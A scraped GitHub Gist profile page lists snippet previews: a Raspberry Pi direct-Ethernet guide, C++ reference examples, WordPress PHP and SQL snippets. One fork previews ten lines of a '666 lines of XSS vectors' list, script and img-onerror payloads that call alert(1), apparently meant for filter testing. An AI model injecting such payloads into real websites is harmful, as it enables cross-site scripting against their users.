Skip to content

Instantly share code, notes, and snippets.

Avatar

Titus Shoats titus-shoats

View GitHub Profile
@titus-shoats
titus-shoats / Direct_ethernet_connection.md
Created Apr 7, 2020 — forked from JinhaiZ/Direct_ethernet_connection.md
Direct Ethernet connection to Raspberry Pi/Odroid without router (with DHCP, tested on Ubuntu 16.04)
View Direct_ethernet_connection.md

Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.

Direct Ethernet connection to Raspberry Pi/Odroid without router

The solution is based on running DHCP service at your workstation (your notebook for example), and use it to attribute an IP address to your Raspberry Pi/Odroid. Then use ssh to connect to your Raspberry Pi/Odroid through this IP address.

Terminology Explaination
Client Your Single Board Computer, such as a Raspberry Pi or an Odroid
Server Your workstation with any linux based systems, like Ubuntu
@titus-shoats
titus-shoats / References.cpp
Created May 9, 2017
Passing pointers to objects
View References.cpp
#include "stdafx.h"
#include <iostream>
using namespace std;
void FreezeWindow();
void FreezeWindow() {
char response;
cin >> response;
}
@titus-shoats
titus-shoats / References.cpp
Created May 9, 2017
Returning multiple values by reference
View References.cpp
#include "stdafx.h"
#include <iostream>
using namespace std;
void FreezeWindow();
void FreezeWindow() {
char response;
cin >> response;
}
@titus-shoats
titus-shoats / References.cpp
Created May 9, 2017
Returning multiple values with pointers
View References.cpp
#include "stdafx.h"
#include <iostream>
using namespace std;
void FreezeWindow();
void FreezeWindow() {
char response;
cin >> response;
}
@titus-shoats
titus-shoats / References.cpp
Last active May 8, 2017
C++ Pass By References
View References.cpp
#include "stdafx.h"
#include <iostream>
using namespace std;
void FreezeWindow();
void FreezeWindow() {
char response;
cin >> response;
}
@titus-shoats
titus-shoats / 666_lines_of_XSS_vectors.html
Created Mar 27, 2017 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
View 666_lines_of_XSS_vectors.html
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@titus-shoats
titus-shoats / post_types_taxonomy.php
Last active Nov 10, 2016
Get Wordpress Post Types Within Taxonomies
View post_types_taxonomy.php
<?php
$args = array(
'public' => true,
'_builtin' => false
);
$post_types = get_post_types($args, 'names', 'and');
foreach ($post_types as $post_type) {
/**
View Join-Two-Tables-Creation.sql
CREATE TABLE IF NOT EXISTS `customers` (
`customerid` int(11) NOT NULL,
`name` char(50) NOT NULL,
`address` char(100) NOT NULL,
`city` char(30) NOT NULL
)
INSERT INTO `customers` (`customerid`, `name`, `address`, `city`) VALUES
(1, 'John Smith', '454 Peacock St', 'Charleston WV'),
View Process JSON To PHP
<?php
$parse_json = file_get_contents('json.json');
$string = json_decode($parse_json,true);
foreach($string as $strings){
foreach ($strings as $key => $value) {
echo "<pre>";
echo $key . $value . "<br/>";
@titus-shoats
titus-shoats / Display Custom Post Type
Last active Nov 10, 2016
display custom post types
View Display Custom Post Type
<?php
$args = array(
'post_type'=>'products'
);
$myproducts = new WP_Query($args);
while($myproducts->have_posts()) : $myproducts->the_post();